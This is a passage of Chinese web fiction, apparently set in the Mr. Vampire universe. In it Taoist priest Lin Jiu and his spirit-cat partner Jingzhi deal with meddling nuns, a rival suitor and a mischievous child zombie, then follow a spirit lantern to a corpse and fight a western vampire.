秋生手肘撑着桌子,屁股微抬眼睛直朝他们面前的小盅里瞅,嘴巴还不忘回应道: “当然是没听到啦!” 静之:(-_-) 她就多嘴问那一句。 林九:(-_-) 他就不该心怀期待。 两人同款死鱼眼,默默低头喝汤。 “喂喂喂,我也是顶着暴风雨和被师伯打死的风险去偷窥的诶,你们两个这什么表情?!” 静之&林九: (?_?) 给你一个眼神你自己体会。 他坐回位置上,指了指小盅,“师娘,有没有我的份啊?有的话,我可还有很~重~要的发现没跟你们说哦!” 就在这时--- “来啦来啦!师兄让一让啊,烫烫烫!” 文才放下托盘,把同款小盅端给他。 “人人都有份,师娘是那种吃独食的人吗?你就别卖关子了。”文才说。 秋生好奇的看着这玩意儿。 他跟文才做饭总是一锅出,哪里有这么讲究的东西。 手刚碰上盖子,就烫得他立刻放手捏住自己的耳垂。 “都跟你说烫啦!”文才拿抹布好心给他掀开,又递过去一根勺子,“吃吧,师娘怕你们饿过劲儿,特意做的,真是便宜你了。” “说什么啊,什么叫便宜我?”秋生扬了扬拳头,“你一天没出去,给你吃,才是便宜你了呢!” 文才看了静之一眼,急急解释: “我在家也没闲着,扫地擦桌子洗衣服,师娘你要相信我!” 静之倒是饶有兴致看他俩斗嘴,林九揉了揉眉心,有些不耐烦,“好了,秋生,你说说看,你发现了什么?” 秋生轻轻放下汤匙,俯低身子朝不自觉凑过来的三人说: “师伯家设了个祭坛,我去的时候,那个石少坚正在做法,做到一半,被师伯发现,就被吊起来打一顿了。” 他说着说着又乐了,“所以说呀,刚刚那雨停得急,是因为施法被打断了。你们刚刚是没看到,石少坚叫得那叫一个惨。” 林九斜了他一眼,“所以你之所以这么晚回来,就是在那边看人家打孩子了?” 秋生讪讪笑了一声,头渐渐埋了下去,“有戏看嘛,不看白不看。” 林九:“哼!师兄这个人最好面子,你要是想死,下次就留着看戏好了,也不用回义庄了省得连累你师父我啊。” 静之不禁咂舌。 阿九关心人的话,说得可真别扭。 得亏秋生是个聪明的,他咧嘴笑得开心,然后低头边喝汤,边夸张的哇了一声,朝她竖起了一个大拇指,“鲜!” “噗呲!”静之被他逗乐了,“吃你的吧。” 文才喝着汤,有些心不在焉。 他小心翼翼打量了一下林九的脸色,看他不像真生气的样儿,于是暗暗松了口气,试探性朝林九伸出手,“师父,给我点钱吧,我想去买几件里裤。” 林九喝汤动作一顿,有些尴尬地看了眼静之,又暗暗瞪了一眼文才。 臭小子,难道他长大了,里裤都变小了?可是身材没变化啊。 而且在静之面前讨论这个话题,是不是有些不太好? 文才一看他的眼神,就知道他误会了。 “不是买我的。”他怯怯指向林九,“是买你的。” 静之微张着嘴,惊愕得转头看向林九。 阿九可以啊,二次发育吗? 林九被她看得面红耳赤,直接拒绝文才,“不用,我有的穿。” 文才头越埋越低,声音比蚊子叫还小,“现在没有了。” “你把我的…裤子怎么了?” 文才见林九开始吹胡子瞪眼,吓得一把将错误推给小雨,“是小僵尸干的!我想说快入冬了,要把你的衣服搬出来洗洗,他硬要我跟他玩,然后,然后就……” 林九的眼神越来越危险,“然后呢?” 文才哐当一声推开椅子站起来,后退两步,缩得跟鹌鹑似的,指了指不远处房檐底下晾得几块碎布条。 纯白色的碎布条在阳光中迎风招展。 这就是他的然后。 林九的额头砰砰青筋直跳。 静之:刚夸他今天脑子机灵,这怎么又惹出祸来了…… 林九啪的一声掏出一个零钱袋搁在桌上,“现在就给我去买,零钱都给我找回来,我不要有花纹的。” “好好好!马上去!”文才拿了钱,溜得飞快。 秋生见他要进镇,闲不住,三两口吃了蛋羹,也跟着一起去了。 静之:“你不是也要去镇上吗?不叫他们等等你?” 林九:属实是被气到脑充血了,没想到。 “我……” “叩叩叩!” 院门突然被敲响。 静之:“你俩是不是什么东西忘记带啦?” “九叔在吗?” 是个女声,还是个熟悉的女声。 她眉头微皱,指尖不紧不慢的敲击着他的手背,敲得他的心都慌了。 “找你的。” 她语气平淡的说。 “我,我出去看看。” 不是,他又没做坏事,他心虚啥。 林九挺胸抬头,站起身子,走到院门口开门。 横向的门栓刚一打开,一群修女一股脑儿的就挤了进来。 甚至有个修女一个踉跄投入他的怀里,林九扶她站稳后,连连后退几步,差点从台阶上掉下去。 突然,一只素手从他身后扶住他的腰。 “静之……” “我知道,我没生气。”语气十分冷静。 林九:所以女朋友说没生气的时候,到底是生没生气啊? 第161章 静之的小名 静之站了出来,“请问,你们找阿九有什么事情?” 老修女一脸难色,张了张嘴,纠结了几秒钟,什么都没说。 一圆脸修女,眼睛咕噜一转,眼里闪过一丝精明。 “我们是来找九叔传教的。” “传教?”静之掏了掏耳朵,以为自己听错了。 传什么教?天主教吗? 那女孩子站出来,“我们的主是万能的,可以让瞎子复明,让瘸子能够走路,九叔信了我们的天主教,只有好处没有坏处!” “哈?”静之往后轻戳两下林九的胸,“你是说,你让一个中国正统道教/茅山派弟子/在任家镇坐镇了十几年的道长/林九去信你们的天主教?妹妹你要不要再回去睡一下?” “你!”圆脸小修女被静之连环炮似的话怼了回去,一时失语,连脑中的思路都断了,她气得直跺脚,“我不跟你说,我要跟他说!” 嗐,说不过她,就想挑个看起来嘴笨的是吧。 妹妹你可太天真了,阿九嘴毒起来,那是真毒。 她有时候都不敢往前凑。 刚想好心劝劝她。 林九就拿下她那根戳得他心慌的手指握在手里,“不管你是跟她说,还是跟我说,都是一样的。一仆不侍二主,一壶不事二茶,林某一心向道,这辈子也只会信道,你们还是请回吧。” 静之:不止这辈子,你上上辈子也信,信得都以此为本心直接成仙了。 换句话说: 林九,你还真是我的神。 那修女见一个两个都说不过,一时间憋得满脸通红,心里的小九九被打散,来的目的眼看着就要失败了,眼眶那一下就红了。 静之回头用眼神跟林九说话。 静之:你把她说哭了都。 林九默默注视着她,眼睛深邃且有神。 不争气的静之(脸色微微泛红,脸颊因为羞恼微微鼓起):再拿眼睛勾引我,我就对你不客气了!! 林九薄唇微勾,眼里染上星星点点的笑意,手中不自觉的捏了捏那根有些出汗的食指。 她被他看出汗了呢。 那边正用眼神腻歪着, 老修女担忧她们这群人马上就要露宿街头,只能上前一步,绞着手,有些尴尬的说明真正的来意: “林道长,实不相瞒,你们走了以后,那威队长不知道为什么,突然又回来了,说要烧了我们的教堂,麻烦您帮忙再去劝劝他吧。” 林九眉心猛的一跳,挪开与静之对视的眼神,探究的看了老修女一眼。 看来,她没说谎。 难道,是因为他方才在山上拒绝阿威,让他恼羞成怒,所以他转头就去为难这群修女了? “他在哪儿?” 老修女见有戏,赶紧笑着回答:“他刚刚说给我们一个时辰搬走,说回石家村的村公所烧个尸体,等会就“顺便”去我们那儿烧房子。” 静之手指关节摁得嘎嘣响: “啧,臭不要脸的家伙,就会欺负女孩子!” 她转头对林九说:“阿九,你吃饱了吗,吃饱了咱们去找他!” 林九点了点头。 顺道去一趟也好,现在雨停了,他还是要亲眼去看看那个尸体被焚毁了才能安心。 “你们先回去,我们收拾一下就走。” “好好好!”老修女连连答应,一番答谢之后,就带着一水儿年轻漂亮的修女走了。 “还看!我要生气了哦!”静之站在林九侧后方,点点他的肩头。 林九转回脸一脸正经,“我是在想,等会路过她们教堂那儿再检查一下。” 静之上前一步,攀着他的肩膀直视他的眼睛,“真的?” 看着睫毛都要戳进他眼睛里的那双大眼,林九背在身后的双手瞬间捏紧,老实点头:“真的。” 静之颧骨上升,开始得寸进尺,“那……说句好听的我听听。” 林九瞳孔轻轻晃动了下,朝右边大敞开的院子门一瞥: “说,说什么,门还没关呢。” 静之放开他,一手叉腰,一手点了点下巴边思考边说,“我叫你阿九,多亲昵啊,你老是叫我静之,像是普通朋友似的,一点都不亲!这跟我叫你正英有什么区别。 要不……你帮我想个小名,只能有你一个人叫的那种。” 林九头渐渐垂了下来,小声嗡嗡:“……我想好了。” “这么快?” 她硬是撬起他重重垂下的脑袋,喜得满眼放光:“你是不是早就想好了,你快说!” 毕竟从一开始,都是她主动。 而林九就是打一棍,才肯放个闷屁,还躲躲闪闪的那种人。 他的心思一向藏得很深,叫他主动一次,跟要他命似的。 而且既然他早就想好了,为什么从没听他叫过? 就这么硬憋着吗? 林/真闷骚/九。 林九脸红得像秋天的柿子般,牵着她来到房间关上门。 然后像是怕谁发现了似的,圈起手凑近她的耳朵,犹犹豫豫了半天,才压低声音悄悄唤一声: “……卿卿。” 静之:“……?” 卿卿是谁,是叫她吗? “为什么不是小静,或者小之啊?” 林九一把将她拥进怀里,把烧红的脸藏在她肩膀后,“……卿卿好听。” 卿卿我心,悠悠子衿。 卿卿就相当于现代的“亲爱的”,不过多了一层古典式浪漫。 林九实在没法跟她解释这层意思,只是固执的要叫她这个小名,独属于他一个人的,别人都不许叫,“卿卿,就叫你卿卿。” 静之故作无谓的样子,轻轻拍两下他的背:“好好好,你叫呗。” 只要不是与莲妹同款的静妹或者之妹,她都能接受良好。 而且这两个字从他嘴里说出来,莫名的好听,还带着一股宠溺的感觉,听得她的心口酥酥麻麻的。 林九郁卒脸:她到底明不明白…………算了,他没脸解释。 讨了一个好听的小名,静之满足了,“阿九,既然知道凶手是谁了,而且按照秋生说的,你大师兄又没恶意,要不……你挑个日子,咱们成亲吧。” 林九轻轻放开她,心跳得飞快,恋爱脑也有些上头,但是理智依旧稳稳的占领高地。 “笑面虎咬人更疼,我师兄那私生子一看就不会轻易放过我们,我找个时间与师兄坐下好好谈谈怎么处理这些事情……再等等好吗?” 他也很想快一些,但现在这个时间明显不太合适。 成亲是个大事情,保不齐那臭小子又会搞出什么幺蛾子来对付他们,林九可不能冒这个险。 毕竟,婚礼一生只有一次,他不想让她留下遗憾。 “好……那你都叫得这么好听了,亲我一下呗,现在没人在了。” 林九下意识左右四顾:“我,我们该出门了,不然阿威该——唔!” 静之叹口气,微微踮起脚尖主动搂住他的脖子,轻轻覆上他的嘴。 他总是有这么多借口。 莫不是他上辈子尽显妖娆本色,临了玩腻了,下地府的时候,跟判官讨要了一个截然相反的性格? 唉,她要是不主动一点的话,那可真是一点肉渣都吃不到了。 静之投入得快,知道有正事要做,所以抽离得也快。 林九恰恰相反,他是个极其慢热的人。 刚反客为主,轻轻柔柔的亲她一口,就被她一把推开。 他的一点主动,静之感受到了,她嘴一抹,笑得浅浅的梨涡都出来了: “好了,这回真该出门了,不然阿威该烧到人家教堂里去了。” 林九?_?:……阿威最好是给他好好的烧尸体!! …… 一路上,林九一言不发拉着静之走得飞快。 脸有些臭。 这个臭脸一直持续到来到村公所见到阿威之后,变得更臭了。 看着对蔗姑胞妹嘘寒问暖的阿威,林九气不打一处来。 “还没烧吗?天都快黑了!” 乍一听到林九冰冷还带着一点怒气的问话,阿威吓得手里的茶壶抖了一下 滚烫的茶水更是倒了一点出来,溅在蔗姑胞妹手背上。 “哎呀,你干什么呀!” “对不起对不起,我帮你吹吹。” “不,不用了。”蔗姑胞妹把手往披风里一缩,藏的严严实实。 静之看着她身上裹得紧紧的黑披风,莫名觉得有些奇怪。 有冷到这个程度了吗? 而且她也忒没礼貌了吧,见到人了,头都不抬一下。 就在这时,阿威有些肥胖的身躯,挡住他俩探究的视线走了过来,“九叔,你来这儿…是不是答应要收我为徒了?” “这件事没得商量。”林九忍不住翻了个白眼,指了指摞得高高的柴火,“怎么还不烧掉?是尸体有什么问题吗?” 林九边说着,抓住柴火旁架着的梯子,就开始往上爬。 阿威看着他的背影,和刚刚他好像有些嫌弃的话,直接破了防,脸上谄媚的表情渐渐收了起来。 眼瞅着林九都要爬到顶上碰到尸体了,阿威突然出声: “尸体没什么问题啊,阿强,点火!” 小兵听命行事,手里的火把一下就丢了过去。 这些柴火放在村公所里很久了,是陈年旧柴,干得很。 晚风带着火势,从左往右蔓延得飞快。 林九的眉毛差点没被撩着。 得亏他身手好,反应快。 放开扶梯,脚下一蹬,就从两米高的梯子上方一跃而下。 “你是不是有毛病啊!阿九还在上面,你拜师不成,众目睽睽之下就想烧死他?!” 静之怒从心起,捏着拳头刚想上去给他一拳,胳膊就被林九拉住。 “算了,我没事,尸体烧了就好了。” 小人暂时处置不了的话,就只能远离了。 劝完静之后,林九又转头跟阿威交代,“教堂先别烧啊,等我再过去检查一……你鼻子怎么了?” 阿威摸了下鼻子上的伤口,赶紧侧过脸,眼神微微闪烁,“没,没什么,既然九叔说不烧,那就不烧了呗,什么时候可以动手了,你再告诉我,我都在这里。” “……嗯,那我先走了。” …… 刚走出村公所,静之就遇到了一个脸色惨白的人----石少坚。 那石坚估计也是要脸的,打儿子都没有打在脸上,伤口估计都在身上,不然那脸能白成那个鬼样子。 林九则是注意到他的眼神。 年轻人还是沉不住气。 若是以前他还有所掩饰,那么现在,石少坚看他们的眼神里就满是赤裸裸的阴毒,不禁让林九脊背发寒。 他记得,他好像没有惹过这小子吧? 而且,师兄虽然性格火爆,但本性不坏,不然掌门也不会让他接管茅山了。 所以说,他的儿子个性怎么会是这样的呢? 师兄……不会捡错娃了吧? …… “走走走,赶紧走,天快黑了。” 静之扯着林九离开石家村。 林九边走边想,越发觉得不对劲。 “静之,你有没有觉得,那石少坚,长得不像我师兄?” 静之脚步一顿,“你是说……你师兄被绿啦?” 林九一噎,轻轻敲了下她的脑袋,“想什么呢,我是说,我师兄会不会认错孩子,被人骗了。” 静之捂着脑袋,一脸迷茫,“那不还是一样嘛,被绿也是被骗的一种嘛。” 林九: “……算了。” “……什么叫算了,你是不是嫌弃我笨?” “……没有。” 静之一把跳到他背上,“你犹豫了!罚你背我到镇上。” 林九无奈,“那你趴好了,别乱动。” 真同意啦? 静之咧着嘴无声笑了。 他可真宠她。 静之双手紧紧圈住他的脖子,把脸贴到他背上,语气变柔了一点,“嗯,我趴好了,走吧。” …… 林九硬是不吭一声,还真就把她背到了镇上。 到任家镇的时候,天都黑了。 在离主街几十米的地方,林九把她放了下来。 “真把我背到这里了,你是不是在勾引我?” 林九一时无言以对,好半天才看着她认真回答: “没有。” “……啧。” 静之往左靠了一步,紧紧搂住他的胳膊。 林九看着路上的几个行人,忍不住动了两下。 她搂得更紧了,“别动,让我靠一下,我怕黑~” 林九露出了一个礼貌微笑。 怕黑? 徒手抓蛇她都不怕,会怕黑? 笑死。 静之抬头一看,林九的侧颜被柔和的月光覆上一层白色的薄雾,清晰的下颚线往上,就是他微微勾起的嘴角。 “……你就是在勾引我。”她不禁呢喃。 声音很轻,差点被晚风一起吹走,却又近得直接落入林九的耳蜗里。 斜眼一瞟,红润的唇瓣都快亲上来了。 这到底谁在勾引谁? 林九还是不习惯在大街上做这种事。 他侧了一下头,让有些发烫的耳朵远离她让人抓心挠肝的清浅呼吸,“在外面别靠这么近说话。” 静之嘁了一声,终于肯饶了薄脸皮的林九。 “白天你定的开井位置,好像有变化诶。”走着走着,她突然提一句。 林九:“我知道,位置被换了。” 静之看了他一眼,掰着手指头用起了排除法,“你看啊,石大富跟石成是村里人,要用水的,阿威和他的手下也住在村里,也要用水,那么今天去过山顶,明白你那阵法,还懂得挪位置,意图搞个吸血鬼出来的人,可不就是剩下……” “吸血鬼?” 林九抓到了关键字。 静之本来想cue一把石少坚,让林九早点去找石坚谈话,不过他既然提到吸血鬼,她也只能顺便给他科普一下。 “是啊,吸血鬼,西洋的僵尸嘛,跟我们这儿的僵尸差不多,以吸血为生,力大无穷。 不过跟僵尸不同的是,他们除了四颗獠牙和一对红眼睛以外,外表跟人一样,行走自如,甚至更为敏捷,最多也就是脸色白了一点,皮肤冷了一点,有的还会飞呢!” 林九以为她作为灵猫,活了这么久,总是见多识广的,于是也没有多问她为什么知道这么多,只是学术性探讨一下除吸血鬼的方法。 静之:“说起这个,我今天就一直想找机会跟你说呢,今天咱们去教堂的时候,不是看到很多大蒜嘛。” “吸血鬼就怕大蒜,阳光,十字架,当然,还有圣水和圣经。就跟我们这的僵尸怕符纸是一个道理,术业有专攻嘛。” 林九看着她侃侃而谈的侧脸,这才相信她今年真的153岁了。 不然她上哪儿知道这么多国外吸血鬼的秘辛。 就在这时,静之被街上唯一人声鼎沸的怡红院吸引了注意力。 好像想起什么,她突然啊了一声。 林九:“怎么了?” 静之反问:“你今晚不是说要帮秋生找尸体?” 林九:……还真是。 事情太多,他确实忘记了。 “走,我们先去看一下教堂,看完就回义庄准备。” 静之:这一天,可真是给他忙得够够的了…… 二人还以为会在教堂里发现个蝙蝠巢,再不济,也能发现个把只蝙蝠。 没想到,二楼阁楼处,除了一些碎落的木板啥也没有。 倒是几个穿白衣睡裙的修女给林九羞得不敢直视。 静之:那身白裙都快拖地了,除了露个脚脖子,啥也没露。 他这是要在现代装满比基尼美女的海滩上,不得直接烧起来? “直接回去呗?天都黑了,文才他们买完东西,应该都已经到义庄了。”她说。 林九张望了两下青叔的店面,好在,还亮着灯,“稍等,我买个孔明灯,现做来不及。” …… 第162章 他是催化剂 知道进去可能又会被追问成亲的事儿,静之有些不好意思,就站在门口等着林九。 还未等到林九出来,街边就走过来了一个不速之客。 只见他上着白色衬衣,下穿笔挺的西装裤。 估计是歇业了,他脖间的纽扣开了两颗,一件材质良好的西装搭在他的手弯处,让他这十分正式的打扮又多了几分随性。 这人是好几天没见的仲尧。 见到不远处灯下亭亭玉立的孤独佳人,仲尧眼前一亮,一双大长腿加快速度迈步,迎了上去。 “静之姑娘,这么晚了,你还在镇上啊?” 边说着,他暗暗扯了扯衬衫下摆,理理褶皱。 今天她经过他们医馆好几次了,他特意换的西装,也不知道她喜不喜欢? 静之也就粗略扫了一眼,看他的眼神跟看路人没什么不同。 对于林九以外的外男,她一向少了那份爱娇和黏糊劲儿。 静之不仅装上了矜持,甚至还后退了两步,离仲尧三米远,“有点事。” 屁话当时也少了很多。 夜风浮动,仲尧梳得整整齐齐的大背头被吹得有些凌乱,几缕头发被吹到额前。 他轻轻垂眸,头顶亮着的灯笼光线,将他长长的睫毛投出一层阴影,挡住了他眼里的黯淡。 “是这样啊。”他的声音依旧温润,如同他这个人一般,“最近没有采草药了吗?冬天快到了,我们医馆最近正缺草药呢。” 他倒是希望她能多来他医馆走走。 当然,不是看病的那种。 静之抱着胳膊,不住回头看着青叔前台桌子上的煤油灯,有些心不在焉的说: “最近没空,等空了再去采给你。” 阿九进去好一会儿了,怎么还不出来? “阿九,有找到孔明灯了吗?”她扬声朝屋里唤了一声。 话音刚落,屋里传来林九的答复,“稍等,找到了,有些大,青叔放阁楼了。” 她回头瞅了一眼眼巴巴看着她的仲尧,礼貌性说一句:“你早点回家吧,最近不太平。” 仲尧的笑容渐渐回暖。 她这话…是在关心我吧。 不然,她怎么不对别人说。 就在这时,林九拿着一个一米多高的明黄色折叠型孔明灯,从阁楼旁的楼梯爬了下来。 刚爬到一半,门口正交谈着的那对俊男靓女就映入了他的眼帘。 捏住竹架的手指突然一紧。 幸亏这孔明灯是防水布料做的,结实得很。 要是纸扎的,早就被他攥破了。 “静之。”他唤了一声。 声音有些低沉,静之莫名觉得他有情绪了。 她朝仲尧一拱手,“兄弟,告辞!” 然后笑眯眯的转头,蹦着步子朝林九跑去,“阿九,我帮你拿~” 清脆的声音犹如掺了蜜,林九眼里的冰霜瞬间被融化了不少。 仲尧:“…………” 谁跟你是兄弟。 “不用,我拿就好。”林九付了钱,一胳肢窝夹着孔明灯,特意一手紧紧牵着静之从店里走出。 刚到门口。 林九皮笑肉不笑,“真巧。” 仲尧肉笑皮不笑,“白天我都看到你们来回走好几趟了,是挺巧的。” 仲尧:从早让人家干到晚,你真是好意思! 静之默默闭上了眼睛。 又来了。 今天来回在任家镇上晃荡了好几圈,她就知道,总会有这么一天的。 被人阴阳了的林九火力全开,“林某的职业就是这个性质,闲的时候很闲,忙的时候也挺忙,不过一个月忙也就忙那么几天,不会让她太累的。” 林九:我可不用像你一样,天天待在医馆996! 仲尧被堵得脸色有些发青,但依旧微笑着说: “哦,是吗?义庄阴气重,你可得好好照顾她,别让她生病了。” 他笑得温油,看向林九的眼神里却带着轻微的挑衅和暗讽。 义庄阴气那么重,哪里适合一个女孩子待,依他看来,她还是待在镇上更方便。 林九暗暗咬了一下牙根,心里止不住的想骂人。 他深呼吸一口气,轻笑了一声说:“你尽可放心,她的房间就在我房间隔壁,离停尸房比较远,且有我在,不会让她有事的。” 林九:小子,你连住她隔壁都不行,自己几斤几两不知道啊? 空气中隐有硝烟弥漫,静之看看左右两人,挠了挠头,然后扯一扯林九的手,“走了,该回家了,咱们还有事儿呢。” 林九深深的看了仲尧一眼,嘴角渐渐勾起,“好,我们 回家 。” 仲尧背在身后的左手,瞬间紧握成拳。 她下意识的一句回家,就让他溃不成军。 这次,他又输了。 不过,他是不会放弃的,刚刚他也得到了她的关心不是吗? …… 林九这会儿危机感十足,就算耳朵泛起一片红意,在大街上也紧紧牵着她的手。 感受了一下他紧握的力道,静之转头解释,“阿九,我就是随意扯了两句,你生气了?” 林九:“没有。” 这回他倒是不再犹豫。 但是从他微微抿起的唇,可以看得出来,他现在心情不是很美妙。 两人走出镇子口,进入林间小路。 月光清浅,透过密林撒在中间的小道上,那层浅淡的银光,犹如专门给他们指向了前方的道路。 静之脚踩着落叶,发出咯吱咯吱的脆响。 秋冬相接,失去了鸟叫蝉鸣。 耳边只有轻微的呼呼风声。 静之听了许久两人愈发同步的脚步声,终于耐不住性子,转头与他说: “阿九,我只喜欢你一个的。” 林九脚步一顿,轻轻说了句:“我知道。” 站定原地,他面对静之,表情郑重的说: “静之,我回去就给师兄传信,等商量好了,我马上定日子。” “什么日……”她突然惊喜回头,“好好!” 她上前搂住林九的脖子,激动得有些想哭,只是不断的呢喃叫着阿九。 她的声声呼唤叫得他心的心软得一塌糊涂。 红着脸侧头轻啄一下她激动得有些发烫的侧脸,“该走了,别误了事。” “好!都听你的!” …… 两人手挽手走出森林,刚看到义庄的砖红色院落,耳边就听到前方传来一声爆炸的巨响。 定睛看去,院子里还冒出了滚滚黑烟。 静之皱眉:“搞什么啊?石少坚阴的来不成,直接强攻了?” 林九:“快回去看看!” …… 第163章 大声说坏话 两人刚奔到院子门口,就看到门瞬间被打开一条缝,一个带火光的东西从缝里丢了出来。 林九定睛一看,来不及走门,搂着静之一蹬墙面,直接翻墙进去。 还未来得及捂住她的耳朵,院子外头轰隆一声巨响,震得静之耳膜欲裂。 她刚抬起头,就听到文才一脸心虚看着她,嘴巴张张合合,好像在对她说话。 “说什么啊?”她大声说。 仅一墙之隔,她被震得耳朵一阵鸣叫,致使她听不清文才的话。 林九也是。 他甩了甩头,两人缓了好一阵子,才渐渐能听到秋生跟文才的说话声,但是还有些模糊不清。 文才以为把他俩炸聋了,这会儿慌到差点给他俩跪下了。 “师父,你们没事吧?能听得到吗?”秋生圈着嘴超大声朝他们喊。 文才扯着秋生的袖子,躲在他身后,吓得嘴都白了: “不,不关我事,是小雨非要玩炮的,这回还搞出了个大的,下午就把师父的内裤炸翻天了,我好不容易扯了个借口,你别告诉他啊。” “哎呀,放开我!他俩都被炸聋了,你还怕他听到啊。” 望着还在掏耳朵的林九,文才小声嘀咕:“师兄,你试试。” 秋生点头,看着两脸懵的林九和静之,圈起手大声喊: “我师父是个小气抠门鬼!!!” 刚说完,脑门就挨了一棍。 “哼!还你一棍。” 林九放下手中的扫把柄拍了拍手,朝秋生说话的声音有些大: “臭小子,我是听不清,可我眼不瞎,骂我抠门是吧,本来过年的时候打算给你点零花钱的,这回不用给了,不然岂不破坏我在你心目中的形象!” 说完,他用力甩开秋生紧紧缠上来的手,一脸忧虑看着静之,“你怎么样……” 还没说完,他的双耳就被捂住。 暖流盈入。 耳鸣声渐远。 月光下,她满是担忧的目光像是两块敲门砖,悄悄的叩响了他的心房。 耳边除了他愈发快速的心跳声,她柔和的声线也跟着一起传了进来,“阿九?你还好吗?” 同时,也传来了那两个兔崽子求饶的声音。 秋生双手合十,一阵嚎:“师父啊,我错了,我不该在你聋的时候说你坏话……你给我点钱吧,我要穷死了。” 文才哆嗦着嘴,跟卡壳的复读机似的: “对,对不起,对不起,对不起……” 林九:啧,真是碍耳。 他眉毛一竖,刚想骂人,小雨从大厅门后伸出了个头来,一张圆圆的小脸跟钻了灶洞一样。 雀黑。 林九用力闭眼又睁眼,那张小脸依旧黑得看不清五官。 他怒从心起,“谁干的?!” 小雨看着外头明亮的月光,想出来又不敢出来,伸手指了指文才。 “啾,放,炮!他教!” 文才慌得脑门直冒汗,“师父,不是,哎呀,他,这,我,嘤~” 捣鼓半天嘴没解释清,他低着头怼着他师兄的背,欲哭无泪。 秋生一把揽过他的脑袋,“嗐,乖,别哭啊,几句话都解释不清楚,你笨死算了!” 静之看着小雨身上还缠着好些巨型鞭炮,赶紧走过去给他解下,林九也顺手夺过他手里点燃着的一根香,并敲了一下他的光脑门: “就不怕这东西把你炸翻天吗?” 看着一身官服破破烂烂,跟个小乞丐似的小雨,林九觉得血压有些上升,他揉了揉发紧的太阳穴,严厉呵斥: “禁止你玩火!” 文才被叫去给小雨洗澡换衣服。 秋生则是留下帮忙林九弄孔明灯。 他俩搭了个临时的高台,把买来的孔明灯展开拴住。 孔明灯下的烛火已经点燃了照亮了明黄色灯布上的八卦和符咒。 整个灯在夜风中摇曳着,好似要扯开底下那条拴着它的黄布,飘向天际。 林九知道现在还不是时候放它上天,还差一味最重要的“路引”。 “把装着女鬼的坛子丢上来。” 林九站在台子上,朝底下喊。 秋生怕极了那女鬼出什么事,会找他索命,哪里敢用丢的。 抱着坛子,架了梯子,小心翼翼爬了上去。 林九没好气看了他一眼,接过坛子把他赶下去。 做法前,他已穿上道袍,戴上道帽。 此刻,他拿出朱砂笔,在坛子上画出玄妙的符咒。 然后,伸出三指取下道帽额间的八卦贴在坛壁上,用力一拍。 那八卦竟硬生生被他排进坛壁里,严丝合缝,手心离开坛壁之时,竟吸出一团蓝色的魂火。 他小心翼翼护着那团魂火放进孔明灯下盛着烛火的容器里。 霎时,火光向上一闪,一股浓烟扬起,孔明灯自动挣脱束缚,缓缓朝着远方飘去。 “秋生,跟上他。” 秋生早就想把这事儿解决了,一听他师父叫,撒丫子就跟着灯跑出院子。 静之在下面扶着梯子问,“我们也去吗?” 林九看着秋生的背影,和远去的孔明灯,眉头微微皱起,“走吧,一起去。” 秋生聪明归聪明,奈何敌人在暗,他们在明,还是多加防备为好。 …… 三人跟着那孔明灯一路小跑,来到了一处悬崖。 底下的寒风卷得悬崖两头架着的破木桥,摇摇晃晃的。 秋生往下看了一眼,乌漆嘛黑,深不见底,他有些发怵。 但看着孔明灯越来越小,眼瞅着就要消失在他的视线内了,秋生一咬牙,死就死! 两手扶上两边的绳索,摇摇晃晃的走上木桥。 估计这条路很少人走,桥体也没人维护。 木桥的后半段,木板甚至缺了好几块。 幸亏他们三个都是手脚灵活之人,皆有惊无险的度过了。 本来脚下还有一条小路,两侧长着青草,走着走着,路已消失,眼前的地面青苔遍布,十米开外,孔明灯静静的悬浮在那里。 黄色的亮光照亮了不远处一个破败的弧形拱门。 拱门上还有偏欧式的花纹,旁边还散落着大块灰白色石头,和好几处砌了一半的墙。 像是一个未建造完成的庄园。 障碍物颇多。 林九还是怕石少坚那厮会使什么阴招,于是叫停秋生。 三人放轻脚步,缓缓朝那个拱门靠近…… 一时间,三人的心提到了嗓子眼儿。 耳边只能听到风拂动树叶传来的沙沙声。 突然,静之眉头一皱,两臂分别挡在秋生和林九前面,“有没有闻到一股血腥味?” 秋生揉一下鼻子,鼻孔扩动两下,“血腥味没闻到,倒是闻到尸臭味了,尸体应该就在前面,快走吧,赶路一天了,你们还不累吗?” 静之白了他一眼,头转向右侧,“阿九?” 林九向前一步,把她挡在身后,“不管有什么味道,都走到这里了,去看看吧,小心些就是。” 静之皱了皱眉,放下的手,五指暗暗成爪,利甲瞬间弹出,蓄势待发。 石少坚那个狗崽子敢使什么坏招,她就挠死他! …… 三人小心翼翼越过一面破墙,穿越了那个拱门。 不远处的地上,侧趴着一具女尸。 女尸脸冲着他们这边,虽然生前被浇了开水,脸上浮起大大小小,半瘪不瘪的水泡,形容可怖。 但根据她的轮廓和身上的衣服,看过她记忆的秋生基本可以确定,这就是他要找的女尸。 他咕咚一声,咽了口唾沫。 刚刚被静之说得他有些心里没底。 并没有直接上去扛起走人。 而是左看右瞄,等到确认这里没有什么动静,他才呼出一口气笑了笑,“师娘,你大惊小怪了啊,什么都没有,我拿了尸体咱们就回去吧。” 他急走两步,刚伸出手要托起尸体的腰,耳边突然响起轻微的嘶嘶声响。 秋生脊背一阵发凉,还未等他退开。 一条眼镜蛇瞬间从尸首下方立了起来,蛇信轻吐,蛇头越绷越扁,是即将对他发起攻击的征兆。 就在这时,身后的围墙轰隆一声被击碎,无数砖块朝他们这边飞了过来…… 数道白光闪过,来不及躲闪的秋生眼一眯---- 第164章 对线吸血鬼 原来是静之出手了。 刚刚弹跳急射过来的眼镜蛇已经断成几节,掉在地上。 神经还未死绝,地上的碎蛇块还在轻轻蠕动着,特别是蛇头。 它的嘴巴张得大大的,两根毒牙还在朝地上的尸体滋着一泵一泵的毒液。 秋生没来得及给她道声谢,他面前的两人已经跟刚刚破墙而出的一洋鬼子打起来了。 他定睛一看,那洋鬼子……好像不是个人。 他嘴里两根獠牙比刚刚毒蛇嘴里的都长,倒是有些像他平时见过的僵尸。 偏偏行动自如,像常人一般。 不,比正常人更为敏捷迅速。 看着他手中挥过来的粗树桩,秋生得出一个结论。 这洋僵尸力大如牛。 突然,他的手臂被林九扯了一下,腰际一阵疾风闪过,那根木棍堪堪击到他的腰部。 林九瞪着眼,生气了: “都什么时候了,还发呆,还不过来帮忙?!” 那洋鬼子见秋生躲过一击,树桩横向一甩,朝他身后的静之大力抡了过去。 静之也没见过吸血鬼,于是脚下一点,连退数步,躲过一击。 双爪运转灵力朝吸血鬼的方向一挥,数道暗含杀机的白光朝吸血鬼的喉部,胸口,下体三个人体最脆弱的部位飞去。 吸血鬼跟僵尸不一样,他是有神智的。 弱点被攻击,他不会像僵尸一样不闪不躲。 